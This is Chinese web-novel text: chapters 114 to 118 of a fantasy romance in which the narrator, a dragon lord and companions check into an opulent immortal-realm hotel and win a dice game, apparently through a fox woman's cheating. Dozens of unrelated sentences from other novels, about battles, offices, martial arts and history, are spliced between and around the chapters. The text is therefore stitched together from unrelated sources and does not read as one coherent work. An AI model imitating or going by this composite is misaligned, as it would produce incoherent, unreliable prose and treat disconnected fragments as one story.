这条公路还有一个特点,那就是沿着大别山的北麓山边蜿蜒西去。如果没有这条史河,这里的公路也就没有什么特点了,但是自从有了这条史河,东西的叶商公路的南北的史河就构成了一个重要的十字架。 武松斩马刀猛然向前。一刀如同霹雳一般。咔嚓一声脆响。赵谢的战马倒霉了。整个脖子断了。赵谢摔倒。被死马压得赤牙咧嘴。 这里是时空通道里的空间,本就很脆弱,此时被两人交手一下震动到,便更加岌岌可危。 陈丹青根本没有任何解释的打算,脚踩大禹九步,直接追了上去,打算替那位可怜的少年一雪前耻。 “不会的我隐藏得很好,而且,幽府的秘密知道的人很少,不大可能这么容易就找到我们。”男子也知道理亏,顿时低声道。 数息之后,密密麻麻的大火球从天而降,径直往四位侍卫头顶砸了下来。 这是鲜血流的太多,导致面色惨白,再这样下去,可是真的会死人的。 “不用面试了,跟人事部的人说一声让他们给你分配岗位吧,明天过来上班。”焱寂城说完话的时候,电梯门也“叮”一声响了起来,然后焱寂城便伸手示意。 仙岳湖,乃是萦绕在薛家与周围几个岛屿中心的一个湖泊,刚刚踏入,便是仙气澎湃,很是非凡,而此刻,在这里已然汇聚了不少人。 剩下的那些妖族强者虽然还有余力再战,但早已经被蔡志雄的手段吓坏了,士气大减,就算上去也发挥不出最佳战力了。 北如猎看着他,所有北如府的嫡系旁支都在望着焱寂城,在北如府内说出这样的一番话,这家伙简直是疯了,北如府可是有隐至尊强者坐镇的地方,真要战斗,估计能把焱寂城打得牙都找不到。 第一卷 第114章 东北仙域 “白哥哥!” “小白!” 趴在床边的少年痛苦落泪,哀凉低喃: “他们不会想我早点回家……他们只会、想我早点去死。” 我见状慌忙跑去查看情况:“怎么会这样,小白!” “黑血……小白!”柳云衣立即意识到问题所在,凝声喊道:“是解药!” “解药?” 好评度如此高的动画,富田弓步也见到过,不过,已经很久远了。 毫无疑问,法克盖伊成功率,李醒的真灵,乃至包括命运长河之中,纬度宇宙海内,一直隐藏在最深处的李醒的根源。 春雪越发的迷惑,喃喃道,“真是奇怪的人。”说完,她一边关上了门,一边闻着饭菜的香味向里头走去。 当年,苏墨大战歩无悔的时候差点死去,这种力量觉醒过一次。如今,他再一次触发了这个力量。 在喝之前孔行空也问过云风,为什么不把这些划草药煎熟来让众人喝下。 “兄弟,你告诉我你是怎么受伤的,哥替你揍他。”雷剑看着云风咬牙切齿的样子豪迈地说道。 古庙墙下,一排排的头骨散着淡淡的金芒。那古庙的存在,便似在镇压那些骷髅头。 现在沈昕直接提出不再续签合同,他也没太多办法。毕竟,合同上也没写必须完本。 刹那间,献血涌出,触目惊心。可胡渣男子只是闷哼了一声,然后一句话也没有说。 这三十人也是看懂了柳菁蕾眼神的示意,下一刻便是迅速离开了这里。 但是,这注定艰辛,自苍穹上,落下的天道法则和雷霆越来越多,越来越磅礴,毁灭气机震世。 钱溪五坐于凳上,那个他坐的凳子,是个没事人,瞧餐厅人吃饭,瞧客栈门外。那脾气不好黑脸络腮胡子在自喝自吃,菜已被他吃尽大半,那大碗酒被他喝了,又倒了一大碗来喝。 这里是他周通的地盘,他作为铁拳门的门主,在这里拥有绝对的主动权,再加上他亦是天级,因此毫不担心方逸有什么手段。 立身这一境,项昊每一寸肌体都强大到难以想象,混沌道则在他体内生生不息,宛如能开天辟地。 在铁木部落最中间的空地上,有着一个十分华丽的大帐篷,占地广阔,并且在帐篷的旁边,还用栅栏给围出了一块空地。在栅栏四周则是更加精锐的士兵守卫,远处那些牧民只能远远的看着,并不敢多靠近一步。 “不用,如果今天看着阉宦对典军校尉下手的话,那么可能下一次,他下手的,也会是其他人了。所以,帮助本初,帮助孟德,同时也是帮助我们自己。”淳于琼回答道。 但幸运的是,方逸的肉身是王级荒体,堪称皇级兵器,因此这雷狱真功很是适合他。 在战斗里面,谁都收不住手!王猛最后被压制得太久,许多暴虐,愤怒等负面情绪揉和,他再也忍受不发,发出了这致命的一刀。 “可以,估摸应有好的有酒。”钱溪五脸上身上粘了一层的灰,看圈他们拾到的房子。话毕钱溪五找地去歇了。 然而未等傅羲想明白,只见前方丛林忽然响起“哗啦!”一声,紧接着,七八名身着奇异服装的人,狼狈地从丛林里蹿了出来。 话说起来,来生三姐妹她们一直都在附近,是不是知道什么线索呢? 第115章 你和她睡一起,那本王呢? 帝曦嗯了声,顺手握住我的指尖,带我往前走: “穿过这片林子,就到了咱们今晚落脚的仙域酒店。” “这片林子好大,看起来像没有尽头……” 帝曦知道我怂,便默默与我十指相扣,掌心相贴,握紧我: “别担心,这片林子目前很安全,你能看见的灵物都是没有攻击性的。” 我将另一只手也搭在了帝曦胳膊上,“你好像对这里,很了解。你以前来过吗?” “没有。”帝曦耐心与我闲聊:“本王只是对此地,略有耳闻。” 苏苏从后小跑了过来,抓住我的外套衣摆,跟上我和帝曦: “二姐,姐夫,这里好冷啊…… 我心跳得好快,咱们要走多久才能走出去啊? 不会得走小半夜吧!” 帝曦淡淡说:“用不上小半夜,一个小时就能走出去。” “一、一个小时啊!”苏苏欲哭无泪,“会被累死的。” 帝曦瞥了眼瘦小的流苏,“此处乃是五大家族的地盘,在这里用法术,太容易暴露身份被人盯上了,徒步,是最安全的选择。” 苏苏傻乎乎地鼓起腮帮子:“哦。” 走了一会儿,苏苏突然嘶了声,纳闷道:“奇怪,今晚怎么总感觉少了点什么。” 我不解追问:“啊?什么。” 苏苏拍拍脑袋努力回想了一阵,两分钟后,恍然大悟: “哦!我知道了。是少了风柔和江墨川,这俩浑蛋之前总跟在咱们身后,给咱们使绊子来着。” 我:“……” 好像还真是! 胡玉衡捞过流苏的手握在掌心,沉稳说: “江墨川和王瘸子他们几个那晚都被黑龙王给打伤了,还伤得不轻。 江墨川一大男人受点伤无碍,他身边的风柔可是个娇气女人。 被恶鬼撕成那样,现在估摸正躺家里抱着江墨川哭呢!” 嗯,胡玉衡高见! 走了近四十分钟,苏苏还是累得迈不开腿了,最终趴在胡玉衡背上,委屈巴巴地被胡玉衡背着赶路。 我的体力倒还不错,好歹今天睡了一整天,精神养充沛了。 只是帝曦可能有点、低估我的体质了。 苏苏趴上胡玉衡的背后,帝曦就总担心我会不会也走不动。 有意将手揽在我的腰上,好方便我随时往他怀里靠…… 但,今天的龙仙大人怎么怪怪的。 好像哪里有点不一样。 他以前,有这么体贴好心过吗? 又过了半个小时,我们一行人总算顺利穿过了薄雾渺渺的古树森林。 可…… 让我万万没想到的是,森林尽头还真有一家高端大气上档次的…… 酒店! 不是古代打尖住店的酒楼客栈,而是实实在在的、现代化中式建筑八层大酒店! 酒店大门外有个占地一百多平的彩灯喷泉,喷泉正中央伫立着胡黄柳灰白五大家族的巨型动物雕像。 酒店门口广场铺得都是奢华贵气的金镶白水晶地砖。 八层高楼灯火通明,可能是夜还未深的原因,从上到下成百上千扇玻璃窗内皆亮着冷光白灯。 广场上来来往往的仙家们穿着时代不统一的衣服,有的衣袂飘飘长发及腰,有的穿着对襟中山装,戴着鸭舌帽,手里拄着象征身份的龙头拐杖。 还有的就是普通现代装,女仙穿碎花小长裙,男仙穿西装,穿风衣,穿牛仔褂牛仔裤…… 仙家们的出行方式也挺奇特的,穿古装的仙家坐轿子马车,穿中山装的坐驴车黄包车。 现代仙家则直接一辆加长版豪车驶过来。 穿着白衬衫西装裤,打着蝴蝶领结的寸头迎宾人员们站在广场上忙着招呼客人停车。 抬高声量安排: “轿子请停放东区,马车停放西区,驴车往北区走,私家车请往南边开! 停车区分普通车位与贵宾车位,请客人们自行选择停车点!” “这位老先生,酒店规定,黄包车不能入内……” “本酒店为宠物友好酒店,还请携带宠物的贵宾们到前台办理登记。” 我被前方这座金碧辉煌高端大气的大酒店给震得半晌说不出话…… 猛咽了口凉气,我晃了晃帝曦的胳膊,不敢相信地找他确认: “你是说,咱们晚上要住在这? 我怎么感觉,想住这家酒店已经不是咱们能不能住得起的问题了…… 而是,咱们有没有资格住。” 按照人类世界的规矩,这种高级大酒店,很多都是有钱也进不去,根本不招待普通客人。 帝曦淡定牵着我往酒店大门方向走: “本王何时做过没有把握的事?区区一个仙域酒店,本王想住,是他们的荣幸。 阿萦,你跟着本王,便是神界冥界最有名的酒店,也住得!” 我被惊得合不拢嘴,良久,才拍拍他的手背欣慰道: “龙仙大人,我就知道跟着你准没错!你这条大腿,我抱对了!” 他噎住:“……” 走过酒店纯金打造的两扇浮雕胡黄柳灰白图案的大门,我险些被楼里奢侈的装修与耀眼的大水晶灯晃瞎眼! 这天花板,是用水晶做的,这墙壁,是用白玉嵌上黄金做的。 白玉为底,黄金为饰。 大水晶灯更是铺满了酒店一楼大厅的整块天花板! 我原以为于县长家的那串古董水晶灯已经很气派了,现在看来…… 那串价值千万的水晶灯还不如人家北方仙高级大酒店的天花板一角闪耀夺目! 大厅内摆着高端黑皮沙发与贵气的玉石圆桌,皮质黑椅。 右边是客人休息区,左边才是酒店的服务台。 服务台后站着两名狐耳女仆装的年轻小姑娘,见我们四个走过去,微笑着和善打招呼: “欢迎贵客。” “贵客是来参加喜宴的,还是来正常住宿的?” 帝曦淡漠回答:“正常住宿。” 狐耳小姑娘抖了抖耳尖尖,软糯可爱地伸手示意:“请出示四位的身份证明。” 胡玉衡平静接话:“我们是从中原地区来的,没有东北身份证明。” 左边的红狐女孩歪头乖巧解释: “那请出示您四位所在区域为您办理的身份证明。 八年前东岳神宫曾颁下法令,中原及北方一带精怪生灵都须得在辖区仙妖管理所办理专属身份证,仙妖住店或租房,都需提供这张身份证明。 咱们酒店五年前也接入了三界安系统,所有住店的客人身份信息都要统一录入,以便管理,没有身份证明不能给您安排房间。” 右边的白狐女孩好心提醒: “由于南方不在东岳神宫管理范围,没有身份证明的南方仙家需要提供能证明您身份的资料,我们登记完就可以给您安排房间。 还有这两位人类姑娘,我们酒店接入的是三界网系统,人类的身份证也可以在我们酒店使用哦。” 哇,科技改变生活啊,连仙家都用上了网络! 小苏苏脑瓜子聪明地凑过来小声问: “姐姐,那,我们如果开两个房间,是不是只需要用两张身份证就行?” 红狐女孩笑容甜美地重重点头,很有人情味地凑过来和我们小声说: “如果您二位想和心上人住一间房,是完全可以只用您二位的身份证登记的! 你们两对各住一间房,我们可以给你们安排。” 我皱眉犯难:“可我也没带身份证啊……” 苏苏开心脱下背后小书包,伸手就拽拉链:“我带了啊!我临走把咱俩的身份证都带了!” 我哽住,默默朝苏苏竖了根大拇指。 还得是她! 然而,帝曦却赶在苏苏掏出身份证前,抬手化出一枚水晶令牌。 令牌很有分量地哐一声放在服务台上。 胡玉衡抓住苏苏手腕,也紧随着施法化出另一枚白玉令牌,置于红狐与白狐眼前。 两个狐耳女孩一见左右两枚令牌,顿时收了嘴角笑意,脸上再无方才的欢快轻松之色。 一人拿起一枚令牌,小心翼翼地翻看两遍,检查过后用我们听不懂的狐语着急交流了几句。 半分钟后,两人总算商量出了个结果,恭恭敬敬的双手捧着令牌奉还—— “小狐不知龙君与狐君大驾光临,冒犯尊神,还望龙君与狐君大人宽恕!” “小狐这就给两位尊神挑选客房,两位尊神稍等。” 两枚令牌消失在两只狐狸的掌心。 苏苏抱着书包不解问道:“咦,不登记啦?” 红狐特意挑了两张至尊贵宾房卡送给苏苏,敬畏地软声回话: “按规矩,龙君与狐君这种级别的一族之君行程是需要保密的,不用登记。” “保密啊?”苏苏接过房卡,一脸茫然。 我也听不大懂,帝曦和胡玉衡的身份…… 都尊贵到行程需要保密的地步了吗? 帝曦……我倒是能理解。 虽然柳云衣说他只是黄河下的一位小龙王,可看柳云衣柳云响两口子对他的态度,显然不止普通小龙王那么简单。 现在说他是天王老子,我都不怎么惊讶。 倒是胡玉衡,我只知他是条修炼千年的老狐狸,道行很深…… 却没想到,他也是位狐王。 他的身份竟然还能和帝曦坐一桌! 我的身边,真是卧虎藏龙啊…… 帝曦低声又道:“再开一间,我们还有朋友。” 白狐女孩立马从抽屉里多取出了一张至尊贵宾房卡送过来: “龙君大人,请上八楼,这三间房是连号。” 帝曦用眼神示意苏苏继续接房卡。 苏苏反应迟钝地哦了声,拿过第三张房卡。 房卡到手,接引我们去八楼的服务生也快步走过来恭敬请示:“两位君上,请跟我走。” 苏苏揣着小书包一头雾水:“哎?也不要钱啦!” 红狐女孩尴尬笑笑: “两位君上就是咱们酒店最尊贵的客人,君上选择了咱们酒店,是咱们酒店的荣幸! 咱们恨不能花钱请两位君上入住呢,如今两位君上有需要,咱们又怎能让两位君上破费。” 苏苏:“啊?” 帝曦拉上我,胡玉衡拉上被绕迷糊的苏苏,我们跟上服务生的步伐,往前方电梯口走。 胡玉衡低头附在苏苏耳畔浅浅说了句: “我们在这种地方住宿消费,天庭财政部会拨款平账的。” 苏苏顿时目瞪口呆:“还、可以这样。” 我突然悟了,问帝曦:“你这难不成就是传说中的公费出差?” 帝曦愣了下,颔首,“算是吧。” 我当即臭不要脸地抱住他胳膊,认真商量: “麻烦你以后出差都带我,我这辈子还没住过这么高端的酒店呢!” 他低头扫我一眼,心情不错地勾起唇角,“可以。” 啧,龙仙大人今天也忒好说话了! 仙域酒店里的电梯用的也是人类世界的升降式电梯,唯一不同的是,仙域酒店的电梯是透明的。 乘坐电梯时还能看见并排好几个电梯在交错高速运行。 电梯抵达八楼,封闭的玻璃门打开,入目就是富丽堂皇奢华气派的至尊贵宾区客厅。 服务生把我们送出电梯口就先撤退了。 八楼还是个复式楼层,下面这层供人娱乐赌色子,上面那层才是居住区域。 到了八楼,我们还得再爬几十层汉白玉楼梯才能去找住的地方。 路过那些形形色色饮酒赌博的仙家身旁,我下意识把帝曦的胳膊挽得更紧些…… “哎,听说白家家主的那位新媳妇就住在咱们这层楼,消息保真吗?” “是真的,那个小媳妇不是咱们东北的狐狸! 她家是南方的,离咱们这太远了,没办法从本家出嫁。 所以白家那老头就安排她先住在酒店里,等婚期到了,直接派人来酒店接亲!” “说起来,白家真不愧是搞医学研究的医仙世家! 就那白家主,今年都三千多岁了,娶了十七房小妾不够,还要娶第十八房! 你说就他那身子骨,能扛得住十八个小妾一起压榨吗?” “哈哈哈哈,老狐狸,你当心姓白的听见撕烂你的嘴!” “狐兄说得对啊,我可听说,白家乃是医仙一族,天生寿元就比另外四大家族短些。 唯有修成极品仙根,成为真正的医仙,才能延长寿元,长命万岁。 不然,普通的白仙可是活不过五千岁的! 想要修成极品仙根又极其困难,一千年里能出一个极品仙根就不错了! 白家那老东西都修炼三千多年了,至今还没有修出极品仙根,我看啊,他的五千岁大劫也够呛。 修不出极品仙根,他们的身体就会随着岁数增长日渐衰老。 别看老白头现在才三千岁,实际上,他的身体可比咱们差多了。 他现在的状态,就是人间四五十岁的老年人状态! 娶个年轻的姑娘,他晚上有力气运动吗?” “你甭管他有没有力气运动,他现在娶媳妇本来就不是为了满足生理欲望,而是为了满足自己变态扭曲的心理需求!” “说起来,他那个小儿子不是传言,乃天生极品灵根吗?怎么小小年纪就夭折了?” “不晓得啊,可能是他们白家没那个兴旺命!好不容易出个天生医仙,结果没留住。” 仙家们撸起袖摆摇色子趴在桌上赌得昏天黑地,我竖起耳朵听他们八卦。 跟着帝曦找到我们要住的房间后,趁苏苏给我们刷卡开门的功夫小声与帝曦说: “他们好像在讲小白他爹的事。” 帝曦嗯了声,“白无尘就是他们口中那个小小年纪就夭折的天生医仙。” 房门打开,房间里的灯都在亮着,进去后才发现,这原来是个套房…… 两卧一厅,还有个比我家堂屋都大的厨房! 苏苏一进来就走不动路了,往黑皮沙发上一倒,耍赖道: “这里有两个卧室,那我要和二姐住一块!” 帝曦脸色一沉,冷漠拒绝:“你手里有三张房卡,不缺住处。滚隔壁去!” 苏苏搂住沙发上的抱枕任性哼了声, “不要!我今晚是不缺屋子睡,但我想和二姐住得近点。我离不开二姐,我需要二姐。” “要不然……” 我见苏苏实在不想走,就试着和帝曦商量: “就让苏苏留下来吧,反正两间房,苏苏和我住一块,不会打扰你。” 帝曦那张俊脸一时更黑了,霸道强势地拉过我胳膊把我拽回身边。 神色别扭的欲言又止,半晌才不高兴的拧眉道了句: “阿萦,你和她睡一块,那本王呢?” 第一卷 第116章 龙也有那种时期吗? “啊……” 我被他一句话问懵住。 我和苏苏住一块,他可以和胡玉衡住一起呀! 还是说,他现在受那个共生契影响,没办法和我分床睡? 如果真是这样,那的确……有点麻烦。 “可是,你明明知道这雷公轰威力强大,必须修为高深之人才能驾驭,否则那可是要反噬的呀。”磐石子急忙说了出来。“怎么,难道你怕你的徒弟输不成,哼。”云帆上人斜看了一眼磐石子,便看向了台上。 总裁办公室当然没有那么好进,何况是像他这种一看就像是危险分子的。他的部门经理第一时间反应过来,就慌张地叫了保安。 “不是吧,你让我牺牲色相,我不要。”紫雀反抗到,还伸手紧紧的抓住前襟,仿佛她要对他做什么一样。 萧然此时内心的震撼已经不能用言语来形容了,原来背负了多年的血海深仇,竟然隐藏了如此重大的一个秘密。 雪喵扇着翅膀兴奋地看着这幕,喵喵的声音与凤凰的啼鸣声融合起来,丝毫没有违和感,像是演奏着曼妙的歌声。 “你来做什么?”灵儿听得萧然的声音,想起她昨日对自己高声喝骂,心中还在难过,便不想见他,也不起身,只以言语应付。 风华宫如今是个什么模样,虽然从未有人大肆宣扬过,但在这宫里也算是人尽皆知了,因此明诗韵回宫的第三日,就接到了华贵妃的邀请,问她可愿意赏脸到璧柔宫共进午膳。 阮明月记得萧然昨日来得极早,他虽然不说,却见到了他身上沾染了不少露珠。 “坐好!”凌墨语气有些严厉,不喜欢他在车子开了之后不安分。 虽然不知道补血药剂是什么鬼东西,但是“抠门”两个字,已经彻底刺痛了某个钢铁侠的玻璃心。 韩进紧走几步迎上来,没等香香说话先问她:“怎么了?家里有耗子吓着你了?”老宅好些年没人住,耗子都要上炕了,他打死了几批,也保不准现在还有没有,就怕香香自个在家的时候跑出来一只吓着她。 他得把她给带走,但纪凌不知道欧阳菲家在哪?也没有带身份证出来。 于是刘阿姨开启了教母模式,给纪凌讲述了早恋的N种坏处,慢慢地,纪凌也终于了解了为什么刘阿姨对学生早恋如此的深恶痛疾。 这正是:泼皮欲行诽谤事,却有正者识尊容。欲知后事如何,且看下回分解。 虽然不至于彻彻底底的瓦解掉,但实力也早已经大不如前,很多不愿意签订合约的碍眼的家伙,也都一个个准备离开,理事会的计划执行的非常顺利。 结实的木剑被唐浩舞动,剑尖重重地敲打在了地面上,感受到传递回来的力量,他的脸上也同样有着深邃之色闪过。 我不知道哪里来的那么大的力气,死命的挣脱,就连刚才拒绝King都没有这个样子。他吻的用力,手扣着我的腰,似乎想把我嵌入身体中一样,我觉得自己每一寸肌肤都在疼痛,而最疼痛的,却是我的心。 青云没有落地,直接抱起凤倾心,向对面的峭壁上略去,几个纵身游移,足尖蹬着石壁,青云带着凤倾心竟也窜上了几十丈高。 两人对练须臾,程鸿渐从容使出“君子攸芋”,将师父欲攻方位守得严丝合缝,但见对方剑势陡转,转而使出“维熊维罴”猛攻过来。 伊尔特笑笑,不再说话,显然,治愈及发动法术,消耗了他不少法力。 哪吒、杨戬、雷震子这些个经历过封神大劫之人,也被眼前的一幕惊呆了。 尤其是这么一个厉害的人就在自己的身边,总让她感觉不太真实。 慕容倾冉猛地站起身,直视向莫言,扯下脸上的蒙面布,这东西总是蒙在脸上,对呼吸很是不好,却不想,大堂内的那些哈撒其族人纷纷倒吸口气,顿时呆若木鸡,甚至有的人手中的弯刀都掉落在地。 随同前来的十余位一流武者一拥而上,直接将那名‘狂龙镖局’的镖师打断手脚,末了还废了对方丹田。 至于林溪和罗伦,还有福勒三人嘛。已经在餐厅内的一个餐桌上坐了下来,看着周围这些忙碌的人,想上去帮忙吧,却又不知道该帮什么,于是只好安静的坐在位置上吃着早餐,别碍着人家工作应该就算是帮忙了吧。 “刚开始的时候和大人你预料的一样,那几家人都召集了不少人,不过,却没有一家有后续动作,他们在商议了一段时间之后,那些人就纷纷离开,我专门派人跟着,但是没有任何结果。”卡希尔答道。 而此时,莫拉比也是同样好奇的看着兰登,因为兰登联系他的时候,只传过来两条消息,一个是告诉他事情非常紧急,必须立刻有人过去当面交流,另外一个,就是给了他一个坐标,让他去把温布顿议长给一起接过来。 当然,布鲁克根本没有发现这些,他从出门,到跪到兰登住的院子门前,眼睛都没往边上扫过一下,然后他跪下,全神贯注着。 利用一些行为和语言来增强压迫感,这是兰登惯用的手段,而由一个仿佛肉山一般的卡利斯塔做出来,压迫感比兰登还要强的多,不过对兰登却没有半点的作用。 第一卷 第117章 娲皇娘娘,您终于回来了…… “我怎么骗你了?呜呜呜剑灵也是灵啊! 大王你就为了这点小事拿剑指我,你这个没良心的男人啊。 我好歹和你共患难千年,你当初快要神识俱散,一睡不醒时,可是我在你耳边扯嗓子唱了几十年的歌! 徐峰此刻的心情还是不错的,熊北冥有了这个系统,而且现在更是发展出了实用的功能,徐峰当然为熊北冥高兴了,最起码现在来看,正好和自己是配套的,引渡二字他和熊北冥现在是绝对称得上了。 见叶飞发问,对方也非常客气的把之前的情况给叶飞说了一遍,当然,其实对方也不知道是怎么回事,只不过是大概讲解了一下。 赵昚登基不久,又力图革新,需要北伐来凝聚臣民之心,史浩和杨存中等保守派主张的筹备三五年,再行北伐事,赵昚并不认同。 圣殿的远处,布莱特站在一棵苍天巨树上俯视着刚才的一切。待那些人抬走了尸体后才露出一副奸诈的笑容。 老妪实力虽然正在锐减,攻击力下降,灵媒时间也即将达极限,同时她还得护着那老猫子。 陶史毅此刻趴在地上,尽量的降低自己的存在感,尼玛的之前就不是对手了,这个熊北冥又搞出了一套什么金光甲,看着就很吊的样子,而且完全超出了陶史毅的认知,没听说过谁能修炼出一套金光铠甲的,难道是神仙么? 所以叶飞看到姜神医,才想到了这个点子,既然要利用姜神医,叶飞也不隐瞒,就把洗髓丹的好处告诉了姜神医。 而此时秦峰站在操场上,总感觉有些不对劲,好像有人在盯着自己一样,那种感觉,就好像潜伏的狙击手被盯上一样,但是没有那种致命的危险感觉。 在这山里,谁的拳头大,谁就是老大,红岩洞现在就是这一片当之无愧的老大。他们不光人多,拳头大,关键是拳头还硬,敢跟官军打,还能打赢。 “让我瞧瞧,是什么大妖!”丛兮搓了搓手掌,刚好试试她的新法术,她转过脸,对几位师兄眨眨眼。 沈司晨说得一本正经,其实他就是害怕被有心之人看见了,又在京都掀起什么流言,要是传到阮梨那里去了,他就真的什么都说不清了。 一个影子骤然出现,王志发现胡地的双臂好像被什么东西撕扯下来。 鲤鱼王将它们的星云身体吸入嘴中,吐出来,再吸入嘴中,再吐出来……如此反反复复。 看见这样的阿七一行人,阮梨摇了摇头,这些个傻子,他们练功再怎么神速,最多也只能击败上次那下等的杀手,他们这二十个还不够对面六个地狱门精英砍的呢。 一路上,也只有路过大的城市,一些特别的建筑可以观赏一番之外,也没有过多的景色让人留连忘返,梁草便盘腿闭眼修炼了起来,这样坐着实在太辛苦啦,还不如修炼来打发时间。 阮梨点点头,便准备走了进去,可谁知,这里面的人好像清一色的都是男子。 胖迪一把将韶涵拽到了桌子底下,从而能让他安全,因为几枚手里剑已经飞了进来,差点打中他的身体,幸好反应神速,否则刚才这招韶涵已经倒在了血泊中。 此处应该没人了,林岚想了下,便从后墙跳入其中,看看有没有什么发现。 第118章 冀州、苏氏…… 主人…… 我怔愣住,迎上她万分惊喜的潋滟泪眸,不解问她: “你好,你是不是认错人了?我们从前,见过么?” 她傻傻盯着我,含泪抿唇浅笑:“见过的……很久很久以前,灵儿是你的爱宠。” “很久很久以前……”我好奇低喃:“难道,是我的前世、前前世?” 她亲近地握住我双手,莲红色诱人双眸深情凝望着我,唇角弯起一抹释怀的笑: “还要更久一些,不过都不重要了……” 忽然抬起双臂,抱住我,她抚了抚我的背,温柔说:“只要还能再见,就是最好的结果。” 虽说我们这是第一次见面,但和她拥抱,我却一点儿也不排斥,反而脑子里还奇怪地滋生出一种“她好像很好撸”的直觉。 我也安抚性拍拍她后背,“嗯,你说得对,只要还能再见,就足够了。” 这种香香软软还长得花容月貌的小姐姐、小狐狸……的确很符合我的审美呀! 如果真是很久以前就认识,今生还能再遇,就证明我们之间的缘分未尽。 就算不能再拿她当宠物,和她做朋友也不错…… 也不知道这么美的小狐狸原形撸起来会是什么手感,天知道我馋胡玉衡的原形多少年了! 胡玉衡如果只是小母狐,怕是早就被我撸秃了。 良久,她才松开我,低头看了眼身上被我泼湿的玉白旗袍。 “不好意思,刚才我没留意……你的旗袍脏了,我带你去换一件吧。”我很负责任地建议。 她却莞尔一笑,纤纤玉手往衣上被酒水泼湿的地方一挥。 点点灵光瞬间吞噬了白玉莲花旗袍上那滩难看的酒渍。 “小问题,用法术抹去便好。” 话音落,赌场陡然传来一道响亮的敲锣声—— 有穿着粉色古代衣裙的古人侍女高声提醒:“诸位仙域酒店的贵客,本场赌局,正式开始——” “现在公布赌局规则。” “本场赌局实行淘汰制,贵客们可自行分为甲乙两方,由昙娘坐庄,甲乙两方贵客对赌。” “每回合输的那一方全员淘汰,胜利的一方则可成功进入下个回合,之后继续分为两队对赌。” “以此规则类推,直到本场赌局结束,顺利杀出重围的最终赢家,可获得一次与庄家昙娘对赌的机会。” “若能赢下昙娘,本酒店不但会为他免去此次住宿的全部食宿费用,赠他三张本酒店的至尊贵宾五折券,还会回答他一个关于东北仙域的问题。” “请贵客们尽快选择押注方,买大买小,买定离手,落注无悔,输赢全凭诸位的运气!” 聚在赌桌前的仙家们闻言当即纷纷火速选择了自己要加入的队伍。 赌桌左侧买大,右侧买小。 昙娘慵懒歪坐于正中间,轻掀浓密眼睫,稍抬媚眸。 我感兴趣地想跑过去凑热闹……但不知赌场收不收人类的钱币。 就算收,我身上只装了一千块,会不会太少了…… “你也想去试试手气?”身边的娇媚女子温柔问。 我点头,不好意思地愁道:“我身上只有一千块钱,跑去下注是不是太寒酸了?” 女子想了下,勾唇无奈解释: “赌场不收外面的钱币,参加昙娘的赌局是需要提前拿钱去换仙域酒店内统一的交易货币‘仙域金珠’的。 底注十颗金珠起,一千块钱,连一颗金珠的十分之一都换不到,顶多只能换片金叶子。” 我失望叹气: “这样么?怪我没有提前了解规则……早知道我就去找胡玉衡借钱了,胡玉衡手里有金元宝。” 女子低头轻笑,忽然不晓得从哪里变出了一个装得鼓鼓囊囊的钱袋,得意地掂在手里往空中抛了两下:“我有啊!走吧,我带你去赌!” “啊?” 我脑子尚未转过弯,人就已经被她握着手腕拽到了赌桌前。 “押甲押乙?挑一个吧!” 我有些难为情:“这样、不好吧。我怎么能花你的钱凑热闹。” 女子娇俏挑眉,面若桃花,眸光明媚地笑道: “就当是我借给你的,你不是还有朋友么?等赌完让他帮你还我不就得了。” 好像也行哎! 我厚着脸皮接受了她的好意,果断带着她的钱跑去碰运气,随便选了个乙。 赌桌上密密麻麻的金珠一眼就能看出在场所有仙家的贫富差距—— 有的仙家跟钱金珠堆成小山,有的仙家面前只有两把金珠,而我和小红狐的面前只保守的一人押了十颗。 和那些土豪仙家们相比,简直是寒酸到姥姥家了! 好在仙域里的仙家们以往常和人类接触得多,见识广,乍一看我面前只有十颗,还没来得及面露嫌弃,就发现我是个凡人了…… 当即就释怀地松口气,见怪不怪地捞袖子聚精会神准备开始战斗。 昙娘手法娴熟地握着特制竹筒叮叮咣咣快速摇骰子,竹筒往桌面一盖,仙家们瞬间分成两派互喊—— “大大大,必须是大!” “小,一定得是小!” “大!开大!” “要大,根据我多年听声辩点数的经验,里面一定是大,咱们一定能赢!” 大厅内顷刻人声鼎沸,男男女女争吵声不休。 我问身旁的姑娘:“乙为小,咱们确定押小吗?” 姑娘妩媚温柔地反问我:“你想押大,还是押小?” 我尴尬的低声回:“我没赌过……” 姑娘媚眼潋滟:“你听说过新手保护期吗?” 我诧异偏头看她:“你们也信玄学?” 姑娘挑唇一本正经和我道:“当然,我们是仙家,比人经历过的离奇事件更多,自然,也比人更信玄学。” 我恍然大悟:“行,那咱们就赌一把。押小!” 她笑弯了上挑的魅惑狐眼:“没问题。” 等仙家们吵到要掀桌了,庄家昙娘才准备拿开竹筒…… 竹筒从桌上拿起的那一刻,我眼角余光却无意瞥见身边女子指尖似有银光乍晃—— “三点!果然是小!” “还真是小!” “切~没意思,开局就输,今天手气真烂。” “哎呀!失算了,早知道就该去对面的……” 古代侍女上前肃色安排:“请甲方客人速速退离,即将进入下一回合!” 今天倒是挺多人都运气不佳,押冒了手。 押错的仙家一撤离赌桌,参与赌局的仙家数量竟直接少了三分之二…… 仅余三十来位仙家顺利进入第二回合。 第二回合我押得还是小…… 这次,依旧侥幸猜对了答案。 但,我扭头深深看了眼身畔这位嘴角噙着笑意的漂亮女子…… 究竟真是运气好,还是、她在刻意相助。 这么光明正大地在庄家眼皮子底下出老千,真的不会被发现吗? 第三回合,我不死心地继续押小。 然而结果不出意料的……还是我们赢。 到了第四局,赌桌前就只剩下我与她,以及对面两位大老粗中年男人了。 俗话说得好,常在河边走哪有不湿鞋。 第四局即将揭开答案时,对面那两大老粗突然警惕地提出了质疑—— “慢着,还不知两位姑娘究竟是何方神圣。 方才我观察这位红衣姑娘似并不懂赌骰子,白衣姑娘更是全程没将心思放在赌骰子上。 可上一局,本仙听声辨点时,却隐约听到了一丝异声,两位姑娘该不会是、作弊了吧?” “就是,你可知我大哥是何人? 我大哥乃东海龙王六儿子三舅干闺女大嫂家三弟的亲叔叔! 乃是四海赫赫有名的第一赌神! 纵横赌场三千余年,这双耳朵,就是他的透视眼! 任何人在有他的赌局上出老千,他一听便知! 我们现在有理由怀疑你们俩赌骰子作弊,我们要求,验明你二人的真实身份!” 我:“……” 就一定要从东海龙王开始算起吗? 警惕地抓住身边姑娘胳膊,我理直气壮地嘴硬道: “你们也说了,只是怀疑,并非确认。你们说我们作弊,有证据吗?” 反正口说无凭,他只是听见了一丝异声,又不是拿手机录下了我们的作案过程…… 这种情况下,就应该向风柔学习,死不承认! 对方不依不饶: 